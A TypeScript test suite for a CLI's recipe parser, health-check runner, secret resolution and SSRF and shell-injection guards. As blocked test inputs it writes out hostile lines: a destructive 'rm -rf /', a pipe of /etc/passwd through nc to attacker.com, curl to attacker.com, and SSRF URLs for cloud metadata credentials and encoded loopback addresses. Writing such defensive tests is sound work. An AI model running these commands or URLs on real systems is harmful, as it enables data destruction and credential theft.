import { describe, test, expect, beforeAll, beforeEach, afterEach } from 'bun:test';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'fs';
import { tmpdir } from 'os';
import { join } from 'path';
import { resolve, sep } from 'node:path';
import {
  parseRecipe,
  isUnsafeHealthCheck,
  expandVars,
  executeHealthCheck,
  checkSecrets,
  parseOctet,
  hostnameToOctets,
  isPrivateIpv4,
  isInternalUrl,
} from '../src/commands/integrations.ts';

const RECIPES_DIR = resolve(import.meta.dir, '..', 'recipes');

// --- parseRecipe tests ---

describe('parseRecipe', () => {
  test('parses valid recipe with full frontmatter', () => {
    const content = `---
id: test-recipe
name: Test Recipe
version: 1.0.0
description: A test recipe
category: sense
requires: []
secrets:
  - name: API_KEY
    description: Test key
    where: https://example.com
health_checks:
  - "echo ok"
setup_time: 5 min
---

# Setup Guide

Step 1: do the thing.

---

Step 2: do the other thing.
`;
    const recipe = parseRecipe(content, 'test.md');
    expect(recipe).not.toBeNull();
    expect(recipe!.frontmatter.id).toBe('test-recipe');
    expect(recipe!.frontmatter.name).toBe('Test Recipe');
    expect(recipe!.frontmatter.version).toBe('1.0.0');
    expect(recipe!.frontmatter.category).toBe('sense');
    expect(recipe!.frontmatter.secrets).toHaveLength(1);
    expect(recipe!.frontmatter.secrets[0].name).toBe('API_KEY');
    expect(recipe!.frontmatter.secrets[0].where).toBe('https://example.com');
    expect(recipe!.frontmatter.health_checks).toHaveLength(1);
    // Body should contain the horizontal rule (---) without being split
    expect(recipe!.body).toContain('Step 1');
    expect(recipe!.body).toContain('Step 2');
    expect(recipe!.body).toContain('---');
  });

  test('body with --- horizontal rules is NOT split as timeline', () => {
    const content = `---
id: hr-test
name: HR Test
---

Section one content.

---

Section two content.

---

Section three content.
`;
    const recipe = parseRecipe(content, 'hr-test.md');
    expect(recipe).not.toBeNull();
    // All three sections should be in the body (gray-matter doesn't split on ---)
    expect(recipe!.body).toContain('Section one');
    expect(recipe!.body).toContain('Section two');
    expect(recipe!.body).toContain('Section three');
  });

  test('returns null for missing id', () => {
    const content = `---
name: No ID Recipe
---
Content here.
`;
    const recipe = parseRecipe(content, 'no-id.md');
    expect(recipe).toBeNull();
  });

  test('returns null for malformed YAML', () => {
    const content = `---
id: broken
  this is not: valid: yaml: [
---
Content.
`;
    const recipe = parseRecipe(content, 'broken.md');
    expect(recipe).toBeNull();
  });

  test('returns null for no frontmatter', () => {
    const content = `# Just a markdown file

No frontmatter here.
`;
    const recipe = parseRecipe(content, 'plain.md');
    expect(recipe).toBeNull();
  });

  test('defaults missing optional fields', () => {
    const content = `---
id: minimal
---
Minimal recipe.
`;
    const recipe = parseRecipe(content, 'minimal.md');
    expect(recipe).not.toBeNull();
    expect(recipe!.frontmatter.name).toBe('minimal');
    expect(recipe!.frontmatter.version).toBe('0.0.0');
    expect(recipe!.frontmatter.category).toBe('sense');
    expect(recipe!.frontmatter.requires).toEqual([]);
    expect(recipe!.frontmatter.secrets).toEqual([]);
    expect(recipe!.frontmatter.health_checks).toEqual([]);
  });

  test('parses reflex category', () => {
    const content = `---
id: meeting-prep
category: reflex
---
Prep for meetings.
`;
    const recipe = parseRecipe(content, 'reflex.md');
    expect(recipe).not.toBeNull();
    expect(recipe!.frontmatter.category).toBe('reflex');
  });

  test('parses multiple secrets', () => {
    const content = `---
id: multi-secret
secrets:
  - name: KEY_A
    description: First key
    where: https://a.com
  - name: KEY_B
    description: Second key
    where: https://b.com
  - name: KEY_C
    description: Third key
    where: https://c.com
---
Content.
`;
    const recipe = parseRecipe(content, 'multi.md');
    expect(recipe).not.toBeNull();
    expect(recipe!.frontmatter.secrets).toHaveLength(3);
    expect(recipe!.frontmatter.secrets[2].name).toBe('KEY_C');
  });
});

// --- CLI structure tests ---

describe('CLI integration', () => {
  let cliSource: string;

  beforeAll(() => {
    const { readFileSync } = require('fs');
    cliSource = readFileSync(new URL('../src/cli.ts', import.meta.url), 'utf-8');
  });

  test('CLI_ONLY set contains integrations', () => {
    expect(cliSource).toContain("'integrations'");
  });

  test('handleCliOnly routes integrations before connectEngine', () => {
    // integrations case must appear before "All remaining CLI-only commands need a DB"
    const integrationsIdx = cliSource.indexOf("command === 'integrations'");
    const dbComment = cliSource.indexOf('All remaining CLI-only commands need a DB');
    expect(integrationsIdx).toBeGreaterThan(0);
    expect(dbComment).toBeGreaterThan(0);
    expect(integrationsIdx).toBeLessThan(dbComment);
  });

  test('help text mentions integrations', () => {
    expect(cliSource).toContain('integrations');
  });
});

// --- Recipe file validation ---

describe('twilio-voice-brain recipe', () => {
  test('recipe file parses correctly', () => {
    const { readFileSync } = require('fs');
    const content = readFileSync(
      new URL('../recipes/twilio-voice-brain.md', import.meta.url),
      'utf-8'
    );
    const recipe = parseRecipe(content, 'twilio-voice-brain.md');
    expect(recipe).not.toBeNull();
    expect(recipe!.frontmatter.id).toBe('twilio-voice-brain');
    expect(recipe!.frontmatter.category).toBe('sense');
    expect(recipe!.frontmatter.secrets.length).toBeGreaterThan(0);
    expect(recipe!.frontmatter.health_checks.length).toBeGreaterThan(0);
    // Body should not be corrupted (contains --- horizontal rules)
    expect(recipe!.body.length).toBeGreaterThan(100);
  });

  test('recipe has required secrets with where URLs', () => {
    const { readFileSync } = require('fs');
    const content = readFileSync(
      new URL('../recipes/twilio-voice-brain.md', import.meta.url),
      'utf-8'
    );
    const recipe = parseRecipe(content, 'twilio-voice-brain.md');
    expect(recipe).not.toBeNull();
    for (const secret of recipe!.frontmatter.secrets) {
      expect(secret.name).toBeTruthy();
      expect(secret.where).toBeTruthy();
      expect(secret.where).toContain('https://');
    }
  });

  test('recipe has all required secrets', () => {
    const { readFileSync } = require('fs');
    const content = readFileSync(
      new URL('../recipes/twilio-voice-brain.md', import.meta.url),
      'utf-8'
    );
    const recipe = parseRecipe(content, 'twilio-voice-brain.md');
    expect(recipe).not.toBeNull();
    const secretNames = recipe!.frontmatter.secrets.map((s: any) => s.name);
    expect(secretNames).toContain('TWILIO_ACCOUNT_SID');
    expect(secretNames).toContain('TWILIO_AUTH_TOKEN');
    expect(secretNames).toContain('OPENAI_API_KEY');
  });

  test('recipe version is valid semver', () => {
    const { readFileSync } = require('fs');
    const content = readFileSync(
      new URL('../recipes/twilio-voice-brain.md', import.meta.url),
      'utf-8'
    );
    const recipe = parseRecipe(content, 'twilio-voice-brain.md');
    expect(recipe).not.toBeNull();
    expect(recipe!.frontmatter.version).toMatch(/^\d+\.\d+\.\d+$/);
  });

  test('recipe requires resolve to existing recipe files', () => {
    const { readFileSync, existsSync } = require('fs');
    const { resolve } = require('path');
    const content = readFileSync(
      new URL('../recipes/twilio-voice-brain.md', import.meta.url),
      'utf-8'
    );
    const recipe = parseRecipe(content, 'twilio-voice-brain.md');
    expect(recipe).not.toBeNull();
    const recipesDir = RECIPES_DIR;
    for (const dep of recipe!.frontmatter.requires) {
      const depPath = resolve(recipesDir, `${dep}.md`);
      expect(existsSync(depPath)).toBe(true);
    }
  });
});

describe('x-to-brain recipe', () => {
  test('health check works with an app-only bearer token (#2343)', () => {
    const { readFileSync } = require('fs');
    const content = readFileSync(
      new URL('../recipes/x-to-brain.md', import.meta.url),
      'utf-8'
    );
    const recipe = parseRecipe(content, 'x-to-brain.md');
    expect(recipe).not.toBeNull();
    const httpChecks = recipe!.frontmatter.health_checks
      .filter((c: any) => typeof c === 'object' && c.type === 'http');
    expect(httpChecks.length).toBeGreaterThan(0);
    const secretNames = new Set(recipe!.frontmatter.secrets.map((s: any) => s.name));
    for (const check of httpChecks as any[]) {
      // /users/me requires user-context OAuth; the recipe only collects an
      // app-only bearer token, so probing it always fails.
      expect(check.url).not.toContain('/users/me');
      // Every $VAR the check expands must be declared in secrets, or the
      // installer never prompts for it and the check fails for everyone.
      const vars = [check.url, check.auth_token, check.auth_user, check.auth_pass]
        .filter((v: unknown): v is string => typeof v === 'string')
        .flatMap((v: string) => v.match(/\$[A-Z_][A-Z0-9_]*/g) ?? [])
        .map((v: string) => v.slice(1));
      expect(vars.length).toBeGreaterThan(0);
      for (const name of vars) expect(secretNames.has(name)).toBe(true);
    }
  });
});

// --- All recipes parse without error ---

describe('all recipes', () => {
  test('every recipe file in recipes/ parses correctly', () => {
    const { readFileSync, readdirSync } = require('fs');
    const { resolve } = require('path');
    const recipesDir = RECIPES_DIR;
    const files = readdirSync(recipesDir).filter((f: string) => f.endsWith('.md'));
    expect(files.length).toBeGreaterThan(0);
    for (const file of files) {
      const content = readFileSync(resolve(recipesDir, file), 'utf-8');
      const recipe = parseRecipe(content, file);
      expect(recipe).not.toBeNull();
      expect(recipe!.frontmatter.id).toBeTruthy();
    }
  });

  test('no recipe contains personal references', () => {
    const { readFileSync, readdirSync } = require('fs');
    const { resolve } = require('path');
    const recipesDir = RECIPES_DIR;
    const files = readdirSync(recipesDir).filter((f: string) => f.endsWith('.md'));
    const personalPatterns = /wintermute|mercury|16507969501|\+1650796/i;
    for (const file of files) {
      const content = readFileSync(resolve(recipesDir, file), 'utf-8');
      expect(content).not.toMatch(personalPatterns);
    }
  });

  test('typed health_checks parse correctly in all recipes', () => {
    const { readFileSync, readdirSync } = require('fs');
    const { resolve } = require('path');
    const recipesDir = RECIPES_DIR;
    const files = readdirSync(recipesDir).filter((f: string) => f.endsWith('.md'));
    for (const file of files) {
      const content = readFileSync(resolve(recipesDir, file), 'utf-8');
      const recipe = parseRecipe(content, file);
      expect(recipe).not.toBeNull();
      for (const check of recipe!.frontmatter.health_checks) {
        if (typeof check === 'string') {
          // String health checks are deprecated but still valid
          expect(typeof check).toBe('string');
        } else {
          // Typed checks must have a valid type
          expect(['http', 'env_exists', 'command', 'any_of', 'heartbeat_max_age']).toContain((check as any).type);
        }
      }
    }
  });
});

// --- isUnsafeHealthCheck tests ---

describe('isUnsafeHealthCheck', () => {
  test('allows simple commands', () => {
    expect(isUnsafeHealthCheck('echo ok')).toBe(false);
    expect(isUnsafeHealthCheck('curl -s https://api.example.com/health')).toBe(false);
    expect(isUnsafeHealthCheck('which git')).toBe(false);
    expect(isUnsafeHealthCheck('python3 --version')).toBe(false);
  });

  test('blocks shell chaining operators', () => {
    expect(isUnsafeHealthCheck('echo ok; rm -rf /')).toBe(true);
    expect(isUnsafeHealthCheck('echo ok && curl attacker.com')).toBe(true);
    expect(isUnsafeHealthCheck('echo ok & bg-process')).toBe(true);
    expect(isUnsafeHealthCheck('cat /etc/passwd | nc attacker.com 4444')).toBe(true);
  });

  test('blocks command substitution', () => {
    expect(isUnsafeHealthCheck('echo $(whoami)')).toBe(true);
    expect(isUnsafeHealthCheck('echo `id`')).toBe(true);
  });

  test('blocks subshell and brace expansion', () => {
    expect(isUnsafeHealthCheck('(curl attacker.com)')).toBe(true);
    expect(isUnsafeHealthCheck('{echo,/etc/passwd}')).toBe(true);
  });

  test('blocks redirect and newline injection', () => {
    expect(isUnsafeHealthCheck('echo ok > /dev/null')).toBe(true);
    expect(isUnsafeHealthCheck('echo ok < /etc/passwd')).toBe(true);
    expect(isUnsafeHealthCheck('echo ok\ncurl attacker.com')).toBe(true);
  });
});

// --- expandVars tests ---

describe('expandVars', () => {
  test('expands known env vars', () => {
    process.env.TEST_VAR_A = 'hello';
    expect(expandVars('prefix-$TEST_VAR_A-suffix')).toBe('prefix-hello-suffix');
    delete process.env.TEST_VAR_A;
  });

  test('replaces unknown vars with empty string', () => {
    delete process.env.NONEXISTENT_VAR_XYZ;
    expect(expandVars('$NONEXISTENT_VAR_XYZ')).toBe('');
  });

  test('handles multiple vars', () => {
    process.env.TEST_A = 'one';
    process.env.TEST_B = 'two';
    expect(expandVars('$TEST_A and $TEST_B')).toBe('one and two');
    delete process.env.TEST_A;
    delete process.env.TEST_B;
  });

  test('leaves strings without vars unchanged', () => {
    expect(expandVars('https://example.com/path')).toBe('https://example.com/path');
  });
});

// --- executeHealthCheck tests ---

describe('executeHealthCheck', () => {
  test('env_exists returns ok when env var is set', async () => {
    process.env.TEST_HC_VAR = 'present';
    const result = await executeHealthCheck({ type: 'env_exists', name: 'TEST_HC_VAR', label: 'Test' }, 'test-id', true);
    expect(result.status).toBe('ok');
    expect(result.output).toContain('set');
    delete process.env.TEST_HC_VAR;
  });

  test('env_exists returns fail when env var is missing', async () => {
    delete process.env.TEST_HC_MISSING;
    const result = await executeHealthCheck({ type: 'env_exists', name: 'TEST_HC_MISSING' }, 'test-id', true);
    expect(result.status).toBe('fail');
    expect(result.output).toContain('NOT SET');
  });

  test('command returns ok for exit 0', async () => {
    const result = await executeHealthCheck({ type: 'command', argv: ['true'], label: 'true cmd' }, 'test-id', true);
    expect(result.status).toBe('ok');
  });

  test('command returns fail for exit 1', async () => {
    const result = await executeHealthCheck({ type: 'command', argv: ['false'], label: 'false cmd' }, 'test-id', true);
    expect(result.status).toBe('fail');
  });

  test('any_of returns ok if first check passes', async () => {
    process.env.TEST_ANYOF = 'yes';
    const result = await executeHealthCheck({
      type: 'any_of',
      label: 'fallback',
      checks: [
        { type: 'env_exists', name: 'TEST_ANYOF' },
        { type: 'env_exists', name: 'NONEXISTENT' },
      ],
    }, 'test-id', true);
    expect(result.status).toBe('ok');
    delete process.env.TEST_ANYOF;
  });

  test('any_of returns ok if second check passes', async () => {
    delete process.env.TEST_FIRST;
    process.env.TEST_SECOND = 'yes';
    const result = await executeHealthCheck({
      type: 'any_of',
      label: 'fallback',
      checks: [
        { type: 'env_exists', name: 'TEST_FIRST' },
        { type: 'env_exists', name: 'TEST_SECOND' },
      ],
    }, 'test-id', true);
    expect(result.status).toBe('ok');
    delete process.env.TEST_SECOND;
  });

  test('any_of returns fail if all checks fail', async () => {
    delete process.env.TEST_NONE_A;
    delete process.env.TEST_NONE_B;
    const result = await executeHealthCheck({
      type: 'any_of',
      label: 'fallback',
      checks: [
        { type: 'env_exists', name: 'TEST_NONE_A' },
        { type: 'env_exists', name: 'TEST_NONE_B' },
      ],
    }, 'test-id', true);
    expect(result.status).toBe('fail');
  });

  // B2: Non-embedded string health_checks are hard-blocked regardless of metachars.
  test('string health_check is hard-blocked for non-embedded (even safe strings)', async () => {
    const result = await executeHealthCheck('echo ok', 'test-id', false);
    expect(result.status).toBe('blocked');
    expect(result.output).toContain('restricted to embedded recipes');
  });

  test('string health_check with unsafe metacharacters is blocked for non-embedded', async () => {
    const result = await executeHealthCheck('echo ok; rm -rf /', 'test-id', false);
    expect(result.status).toBe('blocked');
    expect(result.output).toContain('restricted to embedded recipes');
  });

  // Embedded recipes still get the metachar defense-in-depth guard.
  test('string health_check with unsafe metacharacters is blocked even for embedded (defense-in-depth)', async () => {
    const result = await executeHealthCheck('echo ok; rm -rf /', 'test-id', true);
    expect(result.status).toBe('blocked');
    expect(result.output).toContain('unsafe shell characters');
  });

  test('string health_check runs for embedded recipes when safe', async () => {
    const result = await executeHealthCheck('echo hello-world', 'test-id', true);
    expect(result.status).toBe('ok');
    expect(result.output).toContain('hello-world');
  });

  // Fix 2: command DSL health checks are gated on isEmbedded.
  test('command health_check is blocked for non-embedded recipes', async () => {
    const result = await executeHealthCheck({ type: 'command', argv: ['true'], label: 'true' }, 'test-id', false);
    expect(result.status).toBe('blocked');
    expect(result.output).toContain('restricted to embedded recipes');
  });

  test('command health_check runs for embedded recipes', async () => {
    const result = await executeHealthCheck({ type: 'command', argv: ['true'], label: 'true' }, 'test-id', true);
    expect(result.status).toBe('ok');
  });

  // Fix 4: http DSL health checks are gated on isEmbedded.
  test('http health_check is blocked for non-embedded recipes', async () => {
    const result = await executeHealthCheck(
      { type: 'http', url: 'https://example.com/', label: 'example' },
      'test-id',
      false,
    );
    expect(result.status).toBe('blocked');
    expect(result.output).toContain('restricted to embedded recipes');
  });

  // Fix 4 SSRF: even for embedded recipes, internal URLs are blocked.
  test('http health_check blocks AWS metadata endpoint for embedded recipes', async () => {
    const result = await executeHealthCheck(
      { type: 'http', url: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', label: 'aws' },
      'test-id',
      true,
    );
    expect(result.status).toBe('blocked');
    expect(result.output).toContain('internal/private');
  });

  test('http health_check blocks localhost for embedded recipes', async () => {
    const result = await executeHealthCheck(
      { type: 'http', url: 'http://127.0.0.1:8080/admin', label: 'local' },
      'test-id',
      true,
    );
    expect(result.status).toBe('blocked');
  });

  test('http health_check blocks non-http scheme (file://)', async () => {
    const result = await executeHealthCheck(
      { type: 'http', url: 'file:///etc/passwd', label: 'file' },
      'test-id',
      true,
    );
    expect(result.status).toBe('blocked');
  });
});

// --- SSRF helper tests (B3/B4/Fix 4) ---

describe('parseOctet', () => {
  test('parses plain decimal', () => { expect(parseOctet('80')).toBe(80); });
  test('parses hex (0x prefix)', () => { expect(parseOctet('0x50')).toBe(80); });
  test('parses hex (uppercase)', () => { expect(parseOctet('0X7F')).toBe(127); });
  test('parses octal (leading zero)', () => { expect(parseOctet('0177')).toBe(127); });
  test('zero is decimal zero', () => { expect(parseOctet('0')).toBe(0); });
  test('rejects empty', () => { expect(Number.isNaN(parseOctet(''))).toBe(true); });
  test('rejects non-numeric', () => { expect(Number.isNaN(parseOctet('foo'))).toBe(true); });
  test('rejects invalid octal (8/9)', () => { expect(Number.isNaN(parseOctet('089'))).toBe(true); });
});

describe('hostnameToOctets', () => {
  test('dotted decimal', () => { expect(hostnameToOctets('127.0.0.1')).toEqual([127, 0, 0, 1]); });
  test('single decimal integer', () => { expect(hostnameToOctets('2130706433')).toEqual([127, 0, 0, 1]); });
  test('hex integer', () => { expect(hostnameToOctets('0x7f000001')).toEqual([127, 0, 0, 1]); });
  test('dotted mixed radix', () => { expect(hostnameToOctets('0x7f.0.0.1')).toEqual([127, 0, 0, 1]); });
  test('dotted octal', () => { expect(hostnameToOctets('0177.0.0.1')).toEqual([127, 0, 0, 1]); });
  test('non-IP hostname returns null', () => { expect(hostnameToOctets('api.example.com')).toBe(null); });
  test('too many parts returns null', () => { expect(hostnameToOctets('1.2.3.4.5')).toBe(null); });
  test('octet out of range returns null', () => { expect(hostnameToOctets('256.0.0.1')).toBe(null); });
});

describe('isPrivateIpv4', () => {
  test('loopback 127.0.0.1', () => { expect(isPrivateIpv4([127, 0, 0, 1])).toBe(true); });
  test('loopback 127.255.255.255', () => { expect(isPrivateIpv4([127, 255, 255, 255])).toBe(true); });
  test('RFC1918 10.0.0.1', () => { expect(isPrivateIpv4([10, 0, 0, 1])).toBe(true); });
  test('RFC1918 172.16.0.1', () => { expect(isPrivateIpv4([172, 16, 0, 1])).toBe(true); });
  test('RFC1918 172.31.255.255', () => { expect(isPrivateIpv4([172, 31, 255, 255])).toBe(true); });
  test('172.15 is NOT RFC1918', () => { expect(isPrivateIpv4([172, 15, 0, 1])).toBe(false); });
  test('172.32 is NOT RFC1918', () => { expect(isPrivateIpv4([172, 32, 0, 1])).toBe(false); });
  test('RFC1918 192.168.1.1', () => { expect(isPrivateIpv4([192, 168, 1, 1])).toBe(true); });
  test('link-local 169.254.169.254 (AWS metadata)', () => { expect(isPrivateIpv4([169, 254, 169, 254])).toBe(true); });
  test('CGNAT 100.64.0.1', () => { expect(isPrivateIpv4([100, 64, 0, 1])).toBe(true); });
  test('CGNAT 100.127.255.255', () => { expect(isPrivateIpv4([100, 127, 255, 255])).toBe(true); });
  test('100.63 is NOT CGNAT', () => { expect(isPrivateIpv4([100, 63, 0, 1])).toBe(false); });
  test('100.128 is NOT CGNAT', () => { expect(isPrivateIpv4([100, 128, 0, 1])).toBe(false); });
  test('unspecified 0.0.0.0', () => { expect(isPrivateIpv4([0, 0, 0, 0])).toBe(true); });
  test('public 8.8.8.8', () => { expect(isPrivateIpv4([8, 8, 8, 8])).toBe(false); });
  test('public 1.1.1.1', () => { expect(isPrivateIpv4([1, 1, 1, 1])).toBe(false); });
});

describe('isInternalUrl', () => {
  // Blocked — metadata hostnames
  test('blocks AWS EC2 metadata', () => { expect(isInternalUrl('http://169.254.169.254/latest/')).toBe(true); });
  test('blocks GCP metadata', () => { expect(isInternalUrl('http://metadata.google.internal/')).toBe(true); });
  test('blocks bare metadata hostname', () => { expect(isInternalUrl('http://metadata/')).toBe(true); });
  test('blocks instance-data', () => { expect(isInternalUrl('http://instance-data.ec2.internal/')).toBe(true); });
  // Blocked — loopback + localhost
  test('blocks localhost', () => { expect(isInternalUrl('http://localhost:8080/')).toBe(true); });
  test('blocks sub.localhost', () => { expect(isInternalUrl('http://foo.localhost/')).toBe(true); });
  test('blocks 127.0.0.1', () => { expect(isInternalUrl('http://127.0.0.1/')).toBe(true); });
  test('blocks 127.1.1.1', () => { expect(isInternalUrl('http://127.1.1.1/')).toBe(true); });
  test('blocks IPv6 [::1]', () => { expect(isInternalUrl('http://[::1]/')).toBe(true); });
  // Blocked — private IPv4 ranges
  test('blocks 10.0.0.1', () => { expect(isInternalUrl('http://10.0.0.1/')).toBe(true); });
  test('blocks 172.16.0.1', () => { expect(isInternalUrl('http://172.16.0.1/')).toBe(true); });
  test('blocks 192.168.1.1', () => { expect(isInternalUrl('http://192.168.1.1/router')).toBe(true); });
  test('blocks CGNAT 100.64.0.1', () => { expect(isInternalUrl('http://100.64.0.1/')).toBe(true); });
  // Blocked — IPv4 bypass encodings
  test('blocks hex IP 0x7f000001', () => { expect(isInternalUrl('http://0x7f000001/')).toBe(true); });
  test('blocks single decimal IP 2130706433', () => { expect(isInternalUrl('http://2130706433/')).toBe(true); });
  test('blocks octal IP 0177.0.0.1', () => { expect(isInternalUrl('http://0177.0.0.1/')).toBe(true); });
  test('blocks IPv4-mapped IPv6 [::ffff:127.0.0.1]', () => {
    expect(isInternalUrl('http://[::ffff:127.0.0.1]/')).toBe(true);
  });
  // Blocked — non-HTTP schemes (B4)
  test('blocks file:// scheme', () => { expect(isInternalUrl('file:///etc/passwd')).toBe(true); });
  test('blocks data: scheme', () => { expect(isInternalUrl('data:text/plain,hello')).toBe(true); });
  test('blocks ftp:// scheme', () => { expect(isInternalUrl('ftp://internal.corp/')).toBe(true); });
  test('blocks javascript: scheme', () => { expect(isInternalUrl('javascript:alert(1)')).toBe(true); });
  test('blocks blob: scheme', () => { expect(isInternalUrl('blob:http://evil.com/abc')).toBe(true); });
  // Blocked — malformed
  test('blocks malformed URL (fail-closed)', () => { expect(isInternalUrl('not a url')).toBe(true); });
  test('blocks empty URL', () => { expect(isInternalUrl('')).toBe(true); });
  // Allowed — public HTTPS/HTTP
  test('allows public https', () => { expect(isInternalUrl('https://api.github.com/')).toBe(false); });
  test('allows public http', () => { expect(isInternalUrl('http://example.com/')).toBe(false); });
  test('allows public IP 8.8.8.8', () => { expect(isInternalUrl('http://8.8.8.8/')).toBe(false); });
  test('allows URL with port', () => { expect(isInternalUrl('https://example.com:8443/x')).toBe(false); });
  test('allows URL with userinfo on public host', () => {
    expect(isInternalUrl('https://user:pass@example.com/path')).toBe(false);
  });
  // Userinfo does NOT help attackers hide the real host
  test('userinfo does not bypass loopback check', () => {
    expect(isInternalUrl('http://evil.com@127.0.0.1/')).toBe(true);
  });
  // Trailing-dot numeric host
  test('blocks trailing-dot numeric 127.0.0.1.', () => { expect(isInternalUrl('http://127.0.0.1./')).toBe(true); });
});

// --- Recipe trust boundary (B1 regression) ---

import { getRecipeDirs } from '../src/commands/integrations.ts';

describe('getRecipeDirs (B1 trust boundary)', () => {
  test('returns tiered list with trusted flag', () => {
    const dirs = getRecipeDirs();
    // Must not be empty in a real repo (source recipes/ dir exists)
    expect(dirs.length).toBeGreaterThan(0);
    // Every entry must have an explicit trusted flag
    for (const d of dirs) {
      expect(typeof d.trusted).toBe('boolean');
      expect(typeof d.dir).toBe('string');
    }
    // In this repo, the source recipes dir must be trusted
    // `dir` is native-format (`...\recipes` on Windows). Only the separator
    // comes from `path`; the directory name stays hand-written.
    const source = dirs.find(d => d.dir.endsWith(`${sep}recipes`) && d.trusted);
    expect(source).toBeDefined();
  });

  test('cwd/recipes fallback is NOT trusted', () => {
    const dirs = getRecipeDirs();
    // If a cwd/recipes dir exists in the test env, it must be trusted=false.
    // (In this repo the source dir resolves to ./recipes so it IS cwd/recipes AND trusted.
    // The regression we are guarding is that a caller-local recipes/ dir is never marked trusted
    // when it is not the package-bundled one. This test asserts the tier ordering at minimum.)
    // The trust flag is the only source of truth — never assume by path name.
    for (const d of dirs) {
      if (d.dir === process.env.GBRAIN_RECIPES_DIR) {
        expect(d.trusted).toBe(false);
      }
    }
  });
});

// --- #2789: secret resolution folds the config plane (buildGatewayConfig seam) ---

describe('secret resolution folds config plane (#2789)', () => {
  let dir: string;
  let savedHome: string | undefined;
  let savedKey: string | undefined;

  beforeEach(() => {
    savedHome = process.env.GBRAIN_HOME;
    savedKey = process.env.OPENAI_API_KEY;
    dir = mkdtempSync(join(tmpdir(), 'gbrain-integrations-2789-'));
    mkdirSync(join(dir, '.gbrain'), { recursive: true });
    process.env.GBRAIN_HOME = dir;
    delete process.env.OPENAI_API_KEY;
  });

  afterEach(() => {
    if (savedHome === undefined) delete process.env.GBRAIN_HOME;
    else process.env.GBRAIN_HOME = savedHome;
    if (savedKey === undefined) delete process.env.OPENAI_API_KEY;
    else process.env.OPENAI_API_KEY = savedKey;
    rmSync(dir, { recursive: true, force: true });
  });

  function writeConfig(cfg: Record<string, unknown>) {
    writeFileSync(join(dir, '.gbrain', 'config.json'), JSON.stringify(cfg));
  }

  const secret = { name: 'OPENAI_API_KEY', description: 'test key', where: 'https://example.com' };

  test('checkSecrets sees a key stored only in config.json', () => {
    writeConfig({ engine: 'pglite', openai_api_key: 'sk-test-config-only' });
    const { set, missing } = checkSecrets([secret]);
    expect(set).toEqual(['OPENAI_API_KEY']);
    expect(missing).toHaveLength(0);
  });

  test('checkSecrets still reports missing when the key is nowhere', () => {
    writeConfig({ engine: 'pglite' });
    const { set, missing } = checkSecrets([secret]);
    expect(set).toHaveLength(0);
    expect(missing.map(m => m.name)).toEqual(['OPENAI_API_KEY']);
  });

  test('expandVars expands a config-folded key', () => {
    writeConfig({ engine: 'pglite', openai_api_key: 'sk-from-config' });
    expect(expandVars('Bearer $OPENAI_API_KEY')).toBe('Bearer sk-from-config');
  });

  test('non-empty process.env still wins over the config plane', () => {
    writeConfig({ engine: 'pglite', openai_api_key: 'sk-from-config' });
    process.env.OPENAI_API_KEY = 'sk-from-env';
    expect(expandVars('$OPENAI_API_KEY')).toBe('sk-from-env');
  });

  test('env_exists health check sees a config-folded key', async () => {
    writeConfig({ engine: 'pglite', openai_api_key: 'sk-from-config' });
    const result = await executeHealthCheck(
      { type: 'env_exists', name: 'OPENAI_API_KEY', label: 'key present' },
      'test-id',
      true,
    );
    expect(result.status).toBe('ok');
    expect(result.output).toContain('set');
  });

  test('falls back to process.env when no config file exists (pre-init)', () => {
    // No config.json written — pre-`gbrain init` shape.
    process.env.OPENAI_API_KEY = 'sk-env-only';
    const { set } = checkSecrets([secret]);
    expect(set).toEqual(['OPENAI_API_KEY']);
  });
});
